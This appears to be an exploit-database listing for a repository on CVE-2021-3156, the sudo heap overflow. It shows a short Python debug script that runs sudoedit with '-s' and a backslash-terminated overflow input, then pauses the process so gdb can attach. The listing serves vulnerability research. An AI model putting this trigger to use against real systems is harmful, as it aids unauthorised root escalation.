Exploit databaseDownload repository ZIP
GH-c55484efa612ec7943b6754b0c4b34fd
0x7183/cve-2021-3156
Sources for CVE-2021-3156
85 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
0x7183/cve-2021-3156Revision 419b6068d515
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
environment/debug.py
Python · 332 bytesimport subprocess, signal
cmd = ['/usr/local/bin/sudoedit', '-s', 'A'*10 + '\\']
env = {'BBBBB': 'CCCCC'}
# Starting the process
p = subprocess.Popen(cmd, env=env)
# Taking the pid
PID = p.pid
# Stopping it
p.send_signal(signal.SIGSTOP)
print("Don't close this window and use:")
input('gdb --pid={} -x ./gdb_config'.format(PID))